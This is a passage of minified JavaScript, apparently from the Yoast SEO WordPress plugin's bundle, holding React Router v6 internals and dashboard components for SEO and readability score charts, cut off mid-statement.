_e(e,t,r,n,a,s,o,i){let{loaderData:l,errors:c}=function(e,t,r,n,a){let s,o={},i=null,l=!1,c={},u=r&&Me(r[1])?r[1].error:void 0;return e.forEach((r=>{if(!(r.route.id in t))return;let d=r.route.id,p=t[d];if(y(!Ae(p),"Cannot handle redirect results in processLoaderData"),Me(p)){let t=p.error;if(void 0!==u&&(t=u,u=void 0),i=i||{},a)i[d]=t;else{let r=Ce(e,d);null==i[r.route.id]&&(i[r.route.id]=t)}o[d]=void 0,l||(l=!0,s=K(p.error)?p.error.status:500),p.headers&&(c[d]=p.headers)}else Ie(p)?(n.set(d,p.deferredData),o[d]=p.deferredData.data,null==p.statusCode||200===p.statusCode||l||(s=p.statusCode),p.headers&&(c[d]=p.headers)):(o[d]=p.data,p.statusCode&&200!==p.statusCode&&!l&&(s=p.statusCode),p.headers&&(c[d]=p.headers))})),void 0!==u&&r&&(i={[r[0]]:u},o[r[0]]=void 0),{loaderData:o,errors:i,statusCode:s||200,loaderHeaders:c}}(t,n,a,i,!1);return s.forEach((t=>{let{key:r,match:n,controller:a}=t,s=o[r];if(y(s,"Did not find corresponding fetcher result"),!a||!a.signal.aborted)if(Me(s)){let t=Ce(e.matches,null==n?void 0:n.route.id);c&&c[t.route.id]||(c=p({},c,{[t.route.id]:s.error})),e.fetchers.delete(r)}else if(Ae(s))y(!1,"Unhandled fetcher revalidation redirect");else if(Ie(s))y(!1,"Unhandled fetcher deferred data");else{let t=We(s.data);e.fetchers.set(r,t)}})),{loaderData:l,errors:c}}function ke(e,t,r,n){let a=p({},t);for(let s of r){let r=s.route.id;if(t.hasOwnProperty(r)?void 0!==t[r]&&(a[r]=t[r]):void 0!==e[r]&&s.route.loader&&(a[r]=e[r]),n&&n.hasOwnProperty(r))break}return a}function Re(e){return e?Me(e[1])?{actionData:{}}:{actionData:{[e[0]]:e[1].data}}:{}}function Ce(e,t){return(t?e.slice(0,e.findIndex((e=>e.route.id===t))+1):[...e]).reverse().find((e=>!0===e.route.hasErrorBoundary))||e[0]}function Pe(e){let t=1===e.length?e[0]:e.find((e=>e.index||!e.path||"/"===e.path))||{id:"__shim-error-route__"};return{matches:[{params:{},pathname:"",pathnameBase:"",route:t}],route:t}}function Ne(e,t){let{pathname:r,routeId:n,method:a,type:s,message:o}=void 0===t?{}:t,i="Unknown Server Error",l="Unknown @remix-run/router error";return 400===e?(i="Bad Request","route-discovery"===s?l='Unable to match URL "'+r+'" - the `unstable_patchRoutesOnNavigation()` function threw the following error:\n'+o:a&&r&&n?l="You made a "+a+' request to "'+r+'" but did not provide a `loader` for route "'+n+'", so there is no way to handle the request.':"defer-action"===s?l="defer() is not supported in actions":"invalid-body"===s&&(l="Unable to encode submission body")):403===e?(i="Forbidden",l='Route "'+n+'" does not match URL "'+r+'"'):404===e?(i="Not Found",l='No route matches URL "'+r+'"'):405===e&&(i="Method Not Allowed",a&&r&&n?l="You made a "+a.toUpperCase()+' request to "'+r+'" but did not provide an `action` for route "'+n+'", so there is no way to handle the request.':a&&(l='Invalid request method "'+a.toUpperCase()+'"')),new Y(e||500,i,new Error(l),!0)}function Oe(e){let t=Object.entries(e);for(let e=t.length-1;e>=0;e--){let[r,n]=t[e];if(Ae(n))return{key:r,result:n}}}function Te(e){return b(p({},"string"==typeof e?w(e):e,{hash:""}))}function Le(e){return Fe(e.result)&&te.has(e.result.status)}function Ie(e){return e.type===x.deferred}function Me(e){return e.type===x.error}function Ae(e){return(e&&e.type)===x.redirect}function De(e){return"object"==typeof e&&null!=e&&"type"in e&&"data"in e&&"init"in e&&"DataWithResponseInit"===e.type}function Fe(e){return null!=e&&"number"==typeof e.status&&"string"==typeof e.statusText&&"object"==typeof e.headers&&void 0!==e.body}function je(e){return Q.has(e.toLowerCase())}async function ze(e,t,r,n,a){let s=Object.entries(t);for(let o=0;o<s.length;o++){let[i,l]=s[o],c=e.find((e=>(null==e?void 0:e.route.id)===i));if(!c)continue;let u=n.find((e=>e.route.id===c.route.id)),d=null!=u&&!me(u,c)&&void 0!==(a&&a[c.route.id]);Ie(l)&&d&&await $e(l,r,!1).then((e=>{e&&(t[i]=e)}))}}async function Ue(e,t,r){for(let n=0;n<r.length;n++){let{key:a,routeId:s,controller:o}=r[n],i=t[a];e.find((e=>(null==e?void 0:e.route.id)===s))&&Ie(i)&&(y(o,"Expected an AbortController for revalidating fetcher deferred result"),await $e(i,o.signal,!0).then((e=>{e&&(t[a]=e)})))}}async function $e(e,t,r){if(void 0===r&&(r=!1),!await e.deferredData.resolveData(t)){if(r)try{return{type:x.data,data:e.deferredData.unwrappedData}}catch(e){return{type:x.error,error:e}}return{type:x.data,data:e.deferredData.data}}}function qe(e){return new URLSearchParams(e).getAll("index").some((e=>""===e))}function Be(e,t){let r="string"==typeof t?w(t).search:t.search;if(e[e.length-1].route.index&&qe(r||""))return e[e.length-1];let n=q(e);return n[n.length-1]}function He(e){let{formMethod:t,formAction:r,formEncType:n,text:a,formData:s,json:o}=e;if(t&&r&&n)return null!=a?{formMethod:t,formAction:r,formEncType:n,formData:void 0,json:void 0,text:a}:null!=s?{formMethod:t,formAction:r,formEncType:n,formData:s,json:void 0,text:void 0}:void 0!==o?{formMethod:t,formAction:r,formEncType:n,formData:void 0,json:o,text:void 0}:void 0}function Ve(e,t){return t?{state:"loading",location:e,formMethod:t.formMethod,formAction:t.formAction,formEncType:t.formEncType,formData:t.formData,json:t.json,text:t.text}:{state:"loading",location:e,formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0}}function Ze(e,t){return e?{state:"loading",formMethod:e.formMethod,formAction:e.formAction,formEncType:e.formEncType,formData:e.formData,json:e.json,text:e.text,data:t}:{state:"loading",formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0,data:t}}function We(e){return{state:"idle",formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0,data:e}}function Ge(){return Ge=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},Ge.apply(this,arguments)}Symbol("deferred");const Ye=t.createContext(null),Ke=t.createContext(null),Je=t.createContext(null),Qe=t.createContext(null),Xe=t.createContext({outlet:null,matches:[],isDataRoute:!1}),et=t.createContext(null);function tt(){return null!=t.useContext(Qe)}function rt(){return tt()||y(!1),t.useContext(Qe).location}function nt(e){t.useContext(Je).static||t.useLayoutEffect(e)}function at(){let{isDataRoute:e}=t.useContext(Xe);return e?function(){let{router:e}=ft(pt.UseNavigateStable),r=ht(mt.UseNavigateStable),n=t.useRef(!1);return nt((()=>{n.current=!0})),t.useCallback((function(t,a){void 0===a&&(a={}),n.current&&("number"==typeof t?e.navigate(t):e.navigate(t,Ge({fromRouteId:r},a)))}),[e,r])}():function(){tt()||y(!1);let e=t.useContext(Ye),{basename:r,future:n,navigator:a}=t.useContext(Je),{matches:s}=t.useContext(Xe),{pathname:o}=rt(),i=JSON.stringify(B(s,n.v7_relativeSplatPath)),l=t.useRef(!1);return nt((()=>{l.current=!0})),t.useCallback((function(t,n){if(void 0===n&&(n={}),!l.current)return;if("number"==typeof t)return void a.go(t);let s=H(t,JSON.parse(i),o,"path"===n.relative);null==e&&"/"!==r&&(s.pathname="/"===s.pathname?r:V([r,s.pathname])),(n.replace?a.replace:a.push)(s,n.state,n)}),[r,a,i,o,e])}()}const st=t.createContext(null);function ot(e,r){let{relative:n}=void 0===r?{}:r,{future:a}=t.useContext(Je),{matches:s}=t.useContext(Xe),{pathname:o}=rt(),i=JSON.stringify(B(s,a.v7_relativeSplatPath));return t.useMemo((()=>H(e,JSON.parse(i),o,"path"===n)),[e,i,o,n])}function it(e,r,n,a){tt()||y(!1);let{navigator:s}=t.useContext(Je),{matches:o}=t.useContext(Xe),i=o[o.length-1],l=i?i.params:{},c=(i&&i.pathname,i?i.pathnameBase:"/");i&&i.route;let u,d=rt();if(r){var p;let e="string"==typeof r?w(r):r;"/"===c||(null==(p=e.pathname)?void 0:p.startsWith(c))||y(!1),u=e}else u=d;let f=u.pathname||"/",h=f;if("/"!==c){let e=c.replace(/^\//,"").split("/");h="/"+f.replace(/^\//,"").split("/").slice(e.length).join("/")}let g=k(e,{pathname:h}),v=function(e,r,n,a){var s;if(void 0===r&&(r=[]),void 0===n&&(n=null),void 0===a&&(a=null),null==e){var o;if(!n)return null;if(n.errors)e=n.matches;else{if(!(null!=(o=a)&&o.v7_partialHydration&&0===r.length&&!n.initialized&&n.matches.length>0))return null;e=n.matches}}let i=e,l=null==(s=n)?void 0:s.errors;if(null!=l){let e=i.findIndex((e=>e.route.id&&void 0!==(null==l?void 0:l[e.route.id])));e>=0||y(!1),i=i.slice(0,Math.min(i.length,e+1))}let c=!1,u=-1;if(n&&a&&a.v7_partialHydration)for(let e=0;e<i.length;e++){let t=i[e];if((t.route.HydrateFallback||t.route.hydrateFallbackElement)&&(u=e),t.route.id){let{loaderData:e,errors:r}=n,a=t.route.loader&&void 0===e[t.route.id]&&(!r||void 0===r[t.route.id]);if(t.route.lazy||a){c=!0,i=u>=0?i.slice(0,u+1):[i[0]];break}}}return i.reduceRight(((e,a,s)=>{let o,d=!1,p=null,m=null;var f;n&&(o=l&&a.route.id?l[a.route.id]:void 0,p=a.route.errorElement||ct,c&&(u<0&&0===s?(bt[f="route-fallback"]||(bt[f]=!0),d=!0,m=null):u===s&&(d=!0,m=a.route.hydrateFallbackElement||null)));let y=r.concat(i.slice(0,s+1)),h=()=>{let r;return r=o?p:d?m:a.route.Component?t.createElement(a.route.Component,null):a.route.element?a.route.element:e,t.createElement(dt,{match:a,routeContext:{outlet:e,matches:y,isDataRoute:null!=n},children:r})};return n&&(a.route.ErrorBoundary||a.route.errorElement||0===s)?t.createElement(ut,{location:n.location,revalidation:n.revalidation,component:p,error:o,children:h(),routeContext:{outlet:null,matches:y,isDataRoute:!0}}):h()}),null)}(g&&g.map((e=>Object.assign({},e,{params:Object.assign({},l,e.params),pathname:V([c,s.encodeLocation?s.encodeLocation(e.pathname).pathname:e.pathname]),pathnameBase:"/"===e.pathnameBase?c:V([c,s.encodeLocation?s.encodeLocation(e.pathnameBase).pathname:e.pathnameBase])}))),o,n,a);return r&&v?t.createElement(Qe.Provider,{value:{location:Ge({pathname:"/",search:"",hash:"",state:null,key:"default"},u),navigationType:m.Pop}},v):v}function lt(){let e=gt(),r=K(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,a={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return t.createElement(t.Fragment,null,t.createElement("h2",null,"Unexpected Application Error!"),t.createElement("h3",{style:{fontStyle:"italic"}},r),n?t.createElement("pre",{style:a},n):null,null)}const ct=t.createElement(lt,null);class ut extends t.Component{constructor(e){super(e),this.state={location:e.location,revalidation:e.revalidation,error:e.error}}static getDerivedStateFromError(e){return{error:e}}static getDerivedStateFromProps(e,t){return t.location!==e.location||"idle"!==t.revalidation&&"idle"===e.revalidation?{error:e.error,location:e.location,revalidation:e.revalidation}:{error:void 0!==e.error?e.error:t.error,location:t.location,revalidation:e.revalidation||t.revalidation}}componentDidCatch(e,t){console.error("React Router caught the following error during render",e,t)}render(){return void 0!==this.state.error?t.createElement(Xe.Provider,{value:this.props.routeContext},t.createElement(et.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function dt(e){let{routeContext:r,match:n,children:a}=e,s=t.useContext(Ye);return s&&s.static&&s.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(s.staticContext._deepestRenderedBoundaryId=n.route.id),t.createElement(Xe.Provider,{value:r},a)}var pt=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(pt||{}),mt=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(mt||{});function ft(e){let r=t.useContext(Ye);return r||y(!1),r}function yt(e){let r=t.useContext(Ke);return r||y(!1),r}function ht(e){let r=function(e){let r=t.useContext(Xe);return r||y(!1),r}(),n=r.matches[r.matches.length-1];return n.route.id||y(!1),n.route.id}function gt(){var e;let r=t.useContext(et),n=yt(mt.UseRouteError),a=ht(mt.UseRouteError);return void 0!==r?r:null==(e=n.errors)?void 0:e[a]}let vt=0;const bt={};function wt(e){let{to:r,replace:n,state:a,relative:s}=e;tt()||y(!1);let{future:o,static:i}=t.useContext(Je),{matches:l}=t.useContext(Xe),{pathname:c}=rt(),u=at(),d=H(r,B(l,o.v7_relativeSplatPath),c,"path"===s),p=JSON.stringify(d);return t.useEffect((()=>u(JSON.parse(p),{replace:n,state:a,relative:s})),[u,p,s,n,a]),null}function Et(e){return function(e){let r=t.useContext(Xe).outlet;return r?t.createElement(st.Provider,{value:e},r):r}(e.context)}function xt(e){y(!1)}function St(e){let{basename:r="/",children:n=null,location:a,navigationType:s=m.Pop,navigator:o,static:i=!1,future:l}=e;tt()&&y(!1);let c=r.replace(/^\/*/,"/"),u=t.useMemo((()=>({basename:c,navigator:o,static:i,future:Ge({v7_relativeSplatPath:!1},l)})),[c,l,o,i]);"string"==typeof a&&(a=w(a));let{pathname:d="/",search:p="",hash:f="",state:h=null,key:g="default"}=a,v=t.useMemo((()=>{let e=U(d,c);return null==e?null:{location:{pathname:e,search:p,hash:f,state:h,key:g},navigationType:s}}),[c,d,p,f,h,g,s]);return null==v?null:t.createElement(Je.Provider,{value:u},t.createElement(Qe.Provider,{children:n,value:v}))}function _t(e,r){void 0===r&&(r=[]);let n=[];return t.Children.forEach(e,((e,a)=>{if(!t.isValidElement(e))return;let s=[...r,a];if(e.type===t.Fragment)return void n.push.apply(n,_t(e.props.children,s));e.type!==xt&&y(!1),e.props.index&&e.props.children&&y(!1);let o={id:e.props.id||s.join("-"),caseSensitive:e.props.caseSensitive,element:e.props.element,Component:e.props.Component,index:e.props.index,path:e.props.path,loader:e.props.loader,action:e.props.action,errorElement:e.props.errorElement,ErrorBoundary:e.props.ErrorBoundary,hasErrorBoundary:null!=e.props.ErrorBoundary||null!=e.props.errorElement,shouldRevalidate:e.props.shouldRevalidate,handle:e.props.handle,lazy:e.props.lazy};e.props.children&&(o.children=_t(e.props.children,s)),n.push(o)})),n}function kt(e){let r={hasErrorBoundary:null!=e.ErrorBoundary||null!=e.errorElement};return e.Component&&Object.assign(r,{element:t.createElement(e.Component),Component:void 0}),e.HydrateFallback&&Object.assign(r,{hydrateFallbackElement:t.createElement(e.HydrateFallback),HydrateFallback:void 0}),e.ErrorBoundary&&Object.assign(r,{errorElement:t.createElement(e.ErrorBoundary),ErrorBoundary:void 0}),r}function Rt(){return Rt=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},Rt.apply(this,arguments)}t.startTransition,new Promise((()=>{})),t.Component,new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);const Ct=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","unstable_viewTransition"];try{window.__reactRouterVersion="6"}catch(fa){}function Pt(){var e;let t=null==(e=window)?void 0:e.__staticRouterHydrationData;return t&&t.errors&&(t=Rt({},t,{errors:Nt(t.errors)})),t}function Nt(e){if(!e)return null;let t=Object.entries(e),r={};for(let[e,n]of t)if(n&&"RouteErrorResponse"===n.__type)r[e]=new Y(n.status,n.statusText,n.data,!0===n.internal);else if(n&&"Error"===n.__type){if(n.__subType){let t=window[n.__subType];if("function"==typeof t)try{let a=new t(n.message);a.stack="",r[e]=a}catch(e){}}if(null==r[e]){let t=new Error(n.message);t.stack="",r[e]=t}}else r[e]=n;return r}const Ot=t.createContext({isTransitioning:!1}),Tt=t.createContext(new Map),Lt=t.startTransition,It=d.flushSync;function Mt(e){It?It(e):e()}t.useId;class At{constructor(){this.status="pending",this.promise=new Promise(((e,t)=>{this.resolve=t=>{"pending"===this.status&&(this.status="resolved",e(t))},this.reject=e=>{"pending"===this.status&&(this.status="rejected",t(e))}}))}}function Dt(e){let{fallbackElement:r,router:n,future:a}=e,[s,o]=t.useState(n.state),[i,l]=t.useState(),[c,u]=t.useState({isTransitioning:!1}),[d,p]=t.useState(),[m,f]=t.useState(),[y,h]=t.useState(),g=t.useRef(new Map),{v7_startTransition:v}=a||{},b=t.useCallback((e=>{v?function(e){Lt?Lt(e):e()}(e):e()}),[v]),w=t.useCallback(((e,t)=>{let{deletedFetchers:r,unstable_flushSync:a,unstable_viewTransitionOpts:s}=t;r.forEach((e=>g.current.delete(e))),e.fetchers.forEach(((e,t)=>{void 0!==e.data&&g.current.set(t,e.data)}));let i=null==n.window||null==n.window.document||"function"!=typeof n.window.document.startViewTransition;if(s&&!i){if(a){Mt((()=>{m&&(d&&d.resolve(),m.skipTransition()),u({isTransitioning:!0,flushSync:!0,currentLocation:s.currentLocation,nextLocation:s.nextLocation})}));let t=n.window.document.startViewTransition((()=>{Mt((()=>o(e)))}));return t.finished.finally((()=>{Mt((()=>{p(void 0),f(void 0),l(void 0),u({isTransitioning:!1})}))})),void Mt((()=>f(t)))}m?(d&&d.resolve(),m.skipTransition(),h({state:e,currentLocation:s.currentLocation,nextLocation:s.nextLocation})):(l(e),u({isTransitioning:!0,flushSync:!1,currentLocation:s.currentLocation,nextLocation:s.nextLocation}))}else a?Mt((()=>o(e))):b((()=>o(e)))}),[n.window,m,d,g,b]);t.useLayoutEffect((()=>n.subscribe(w)),[n,w]),t.useEffect((()=>{c.isTransitioning&&!c.flushSync&&p(new At)}),[c]),t.useEffect((()=>{if(d&&i&&n.window){let e=i,t=d.promise,r=n.window.document.startViewTransition((async()=>{b((()=>o(e))),await t}));r.finished.finally((()=>{p(void 0),f(void 0),l(void 0),u({isTransitioning:!1})})),f(r)}}),[b,i,d,n.window]),t.useEffect((()=>{d&&i&&s.location.key===i.location.key&&d.resolve()}),[d,m,s.location,i]),t.useEffect((()=>{!c.isTransitioning&&y&&(l(y.state),u({isTransitioning:!0,flushSync:!1,currentLocation:y.currentLocation,nextLocation:y.nextLocation}),h(void 0))}),[c.isTransitioning,y]),t.useEffect((()=>{}),[]);let E=t.useMemo((()=>({createHref:n.createHref,encodeLocation:n.encodeLocation,go:e=>n.navigate(e),push:(e,t,r)=>n.navigate(e,{state:t,preventScrollReset:null==r?void 0:r.preventScrollReset}),replace:(e,t,r)=>n.navigate(e,{replace:!0,state:t,preventScrollReset:null==r?void 0:r.preventScrollReset})})),[n]),x=n.basename||"/",S=t.useMemo((()=>({router:n,navigator:E,static:!1,basename:x})),[n,E,x]),_=t.useMemo((()=>({v7_relativeSplatPath:n.future.v7_relativeSplatPath})),[n.future.v7_relativeSplatPath]);return t.createElement(t.Fragment,null,t.createElement(Ye.Provider,{value:S},t.createElement(Ke.Provider,{value:s},t.createElement(Tt.Provider,{value:g.current},t.createElement(Ot.Provider,{value:c},t.createElement(St,{basename:x,location:s.location,navigationType:s.historyAction,navigator:E,future:_},s.initialized||n.future.v7_partialHydration?t.createElement(Ft,{routes:n.routes,future:n.future,state:s}):r))))),null)}const Ft=t.memo(jt);function jt(e){let{routes:t,future:r,state:n}=e;return it(t,void 0,n,r)}const zt="undefined"!=typeof window&&void 0!==window.document&&void 0!==window.document.createElement,Ut=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,$t=t.forwardRef((function(e,r){let n,{onClick:a,relative:s,reloadDocument:o,replace:i,state:l,target:c,to:u,preventScrollReset:d,unstable_viewTransition:p}=e,m=function(e,t){if(null==e)return{};var r,n,a={},s=Object.keys(e);for(n=0;n<s.length;n++)r=s[n],t.indexOf(r)>=0||(a[r]=e[r]);return a}(e,Ct),{basename:f}=t.useContext(Je),h=!1;if("string"==typeof u&&Ut.test(u)&&(n=u,zt))try{let e=new URL(window.location.href),t=u.startsWith("//")?new URL(e.protocol+u):new URL(u),r=U(t.pathname,f);t.origin===e.origin&&null!=r?u=r+t.search+t.hash:h=!0}catch(e){}let g=function(e,r){let{relative:n}=void 0===r?{}:r;tt()||y(!1);let{basename:a,navigator:s}=t.useContext(Je),{hash:o,pathname:i,search:l}=ot(e,{relative:n}),c=i;return"/"!==a&&(c="/"===i?a:V([a,i])),s.createHref({pathname:c,search:l,hash:o})}(u,{relative:s}),v=function(e,r){let{target:n,replace:a,state:s,preventScrollReset:o,relative:i,unstable_viewTransition:l}=void 0===r?{}:r,c=at(),u=rt(),d=ot(e,{relative:i});return t.useCallback((t=>{if(function(e,t){return!(0!==e.button||t&&"_self"!==t||function(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}(e))}(t,n)){t.preventDefault();let r=void 0!==a?a:b(u)===b(d);c(e,{replace:r,state:s,preventScrollReset:o,relative:i,unstable_viewTransition:l})}}),[u,c,d,a,s,n,e,o,i,l])}(u,{replace:i,state:l,target:c,preventScrollReset:d,relative:s,unstable_viewTransition:p});return t.createElement("a",Rt({},m,{href:n||g,onClick:h||o?a:function(e){a&&a(e),e.defaultPrevented||v(e)},ref:r,target:c}))}));var qt,Bt;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(qt||(qt={})),function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"}(Bt||(Bt={}));const Ht=window.wp.i18n,Vt="request",Zt="success",Wt="error",Gt="loading",Yt="showPlay",Kt="askPermission",Jt="isPlaying";class Qt extends Error{constructor(e){super(e),this.name="TimeoutError"}}const Xt=async(e,t)=>{try{const r=await fetch(e,t);if(!r.ok)throw(e=>408===e.status?new Qt("request timed out"):new Error("not ok"))(r);return r.json()}catch(e){return Promise.reject(e)}},er=({dependencies:e,url:t,options:r,prepareData:n=u.identity,doFetch:a=Xt,fetchDelay:s=200})=>{const[o,i]=(0,l.useState)(!0),[c,d]=(0,l.useState)(),[p,m]=(0,l.useState)(),f=(0,l.useRef)(),y=(0,l.useCallback)((0,u.debounce)(((...e)=>{a(...e).then((e=>{m(n(e)),d(void 0)})).catch((e=>{"AbortError"!==(null==e?void 0:e.name)&&d(e)})).finally((()=>{i(!1)}))}),s),[]);return(0,l.useEffect)((()=>{var e;return i(!0),null===(e=f.current)||void 0===e||e.abort(),f.current=new AbortController,y(t,{signal:f.current.signal,...r}),()=>{var e;return null===(e=f.current)||void 0===e?void 0:e.abort()}}),e),{data:p,error:c,isPending:o}},tr={good:{label:(0,Ht.__)("Good","wordpress-seo"),color:"yst-bg-analysis-good",hex:"#7ad03a"},ok:{label:(0,Ht.__)("OK","wordpress-seo"),color:"yst-bg-analysis-ok",hex:"#ee7c1b"},bad:{label:(0,Ht.__)("Needs improvement","wordpress-seo"),color:"yst-bg-analysis-bad",hex:"#dc3232"},notAnalyzed:{label:(0,Ht.__)("Not analyzed","wordpress-seo"),color:"yst-bg-analysis-na",hex:"#cbd5e1",tooltip:(0,Ht.__)("We haven’t analyzed this content yet. Please open it in your editor, ensure a focus keyphrase is entered, and save it so we can start the analysis.","wordpress-seo")}},rr={seo:{good:(0,Ht.__)("Most of your content has a good SEO score. Well done!","wordpress-seo"),ok:(0,Ht.__)("Your content has an average SEO score. Time to find opportunities for improvement!","wordpress-seo"),bad:(0,Ht.__)("Some of your content could use a little extra care. Take a look and start improving!","wordpress-seo"),notAnalyzed:(0,Ht.__)("Some of your content hasn't been analyzed yet. Please open it in your editor, ensure a focus keyphrase is entered, and save it so we can start the analysis.","wordpress-seo")},readability:{good:(0,Ht.__)("Most of your content has a good readability score. Well done!","wordpress-seo"),ok:(0,Ht.__)("Your content has an average readability score. Time to find opportunities for improvement!","wordpress-seo"),bad:(0,Ht.__)("Some of your content could use a little extra care. Take a look and start improving!","wordpress-seo"),notAnalyzed:(0,Ht.__)("Some of your content hasn't been analyzed yet. Please open it and save it in your editor so we can start the analysis.","wordpress-seo")}},nr=new RegExp("&#0?39;","g");function ar(e){return(0,u.replace)((0,u.unescape)(e),nr,"'")}const sr=({idSuffix:e,contentTypes:r,selected:n,onChange:a})=>{const[s,o]=(0,l.useState)((()=>r)),i=(0,l.useCallback)((e=>{a(r.find((({name:t})=>t===e)))}),[r]),u=(0,l.useCallback)((e=>{const t=e.target.value.trim().toLowerCase();o(t?r.filter((({name:e,label:r})=>r.toLowerCase().includes(t)||e.toLowerCase().includes(t))):r)}),[r]);return(0,t.createElement)(c.AutocompleteField,{id:`content-type--${e}`,label:(0,Ht.__)("Content type","wordpress-seo"),value:null==n?void 0:n.name,selectedLabel:ar(null==n?void 0:n.label)||"",onChange:i,onQueryChange:u},s.map((({name:e,label:r})=>{const n=ar(r);return(0,t.createElement)(c.AutocompleteField.Option,{key:e,value:e},n)})))},or=({scores:e,descriptions:r})=>{const n=(0,u.maxBy)(e,"amount");return(0,t.createElement)("p",null,r[null==n?void 0:n.name]||"")},ir=window.yoast["chart.js"];var lr=r(4530),cr=r.n(lr);const ur="label";function dr(e,t){"function"==typeof e?e(t):e&&(e.current=t)}function pr(e,t){e.labels=t}function mr(e,t){let r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:ur;const n=[];e.datasets=t.map((t=>{const a=e.datasets.find((e=>e[r]===t[r]));return a&&t.data&&!n.includes(a)?(n.push(a),Object.assign(a,t),a):{...t}}))}function fr(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:ur;const r={labels:[],datasets:[]};return pr(r,e.labels),mr(r,e.datasets,t),r}function yr(e,r){const{height:n=150,width:a=300,redraw:s=!1,datasetIdKey:o,type:i,data:l,options:c,plugins:u=[],fallbackContent:d,updateMode:p,...m}=e,f=(0,t.useRef)(null),y=(0,t.useRef)(),h=()=>{f.current&&(y.current=new ir.Chart(f.current,{type:i,data:fr(l,o),options:c&&{...c},plugins:u}),dr(r,y.current))},g=()=>{dr(r,null),y.current&&(y.current.destroy(),y.current=null)};return(0,t.useEffect)((()=>{!s&&y.current&&c&&function(e,t){const r=e.options;r&&t&&Object.assign(r,t)}(y.current,c)}),[s,c]),(0,t.useEffect)((()=>{!s&&y.current&&pr(y.current.config.data,l.labels)}),[s,l.labels]),(0,t.useEffect)((()=>{!s&&y.current&&l.datasets&&mr(y.current.config.data,l.datasets,o)}),[s,l.datasets]),(0,t.useEffect)((()=>{y.current&&(s?(g(),setTimeout(h)):y.current.update(p))}),[s,c,l.labels,l.datasets,p]),(0,t.useEffect)((()=>{y.current&&(g(),setTimeout(h))}),[i]),(0,t.useEffect)((()=>(h(),()=>g())),[]),t.createElement("canvas",Object.assign({ref:f,role:"img",height:n,width:a},m),d)}const hr=(0,t.forwardRef)(yr);function gr(e,r){return ir.Chart.register(r),(0,t.forwardRef)(((r,n)=>t.createElement(hr,Object.assign({},r,{ref:n,type:e}))))}const vr=gr("doughnut",ir.DoughnutController);ir.Chart.register(ir.ArcElement,ir.Tooltip);const br=e=>({labels:e.map((({name:e})=>tr[e].label)),datasets:[{cutout:"82%",data:e.map((({amount:e})=>e)),backgroundColor:e.map((({name:e})=>tr[e].hex)),borderWidth:0,offset:0,hoverOffset:5,spacing:1,weight:1,animation:{animateRotate:!0}}]}),wr={plugins:{legend:!1,tooltip:{displayColors:!1,callbacks:{title:()=>"",label:e=>`${e.label}: ${null==e?void 0:e.formattedValue}`}}},layout:{padding:5}},Er=({className:e})=>(0,t.createElement)("div",{className:cr()(e,"yst-relative")},(0,t.createElement)(c.SkeletonLoader,{className:"yst-w-full yst-aspect-square yst-rounded-full"}),(0,t.createElement)("div",{className:"yst-absolute yst-inset-5 yst-aspect-square yst-bg-white yst-rounded-full"})),xr=({className:e,scores:r})=>(0,t.createElement)("div",{className:e},(0,t.createElement)(vr,{options:wr,data:br(r)})),Sr="yst-flex yst-items-center yst-py-3 first:yst-pt-0 last:yst-pb-0 yst-border-b last:yst-border-b-0",_r="yst-shrink-0 yst-w-3 yst-aspect-square yst-rounded-full",kr="yst-ml-3 yst-mr-2",Rr=({className:e})=>(0,t.createElement)("ul",{className:e},Object.entries(tr).map((([e,{label:r}])=>(0,t.createElement)("li",{key:`skeleton-loader--${e}`,className:Sr},(0,t.createElement)(c.SkeletonLoader,{className:_r}),(0,t.createElement)(c.SkeletonLoader,{className:kr},r),(0,t.createElement)(c.SkeletonLoader,{className:"yst-w-7 yst-mr-3"},"1"),(0,t.createElement)(c.SkeletonLoader,{className:"yst-ml-auto yst-button yst-button--small"},"View"))))),Cr=({score:e})=>(0,t.createElement)(t.Fragment,null,(0,t.createElement)("span",{className:cr()(_r,tr[e.name].color)}),(0,t.createElement)(c.Label,{as:"span",className:cr()(kr,"yst-leading-4 yst-py-1.5")},tr[e.name].label),(0,t.createElement)(c.Badge,{variant:"plain",className:cr()(e.links.view&&"yst-mr-3")},e.amount)),Pr=({score:e,idSuffix:r})=>{const n=`tooltip--${r}__${e.name}`;return(0,t.createElement)(c.TooltipContainer,null,(0,t.createElement)(c.TooltipTrigger,{className:"yst-flex yst-items-center",ariaDescribedby:n},(0,t.createElement)(Cr,{score:e})),(0,t.createElement)(c.TooltipWithContext,{id:n,className:"max-[784px]:yst-max-w-full"},tr[e.name].tooltip))},Nr=({score:e,idSuffix:r})=>{const 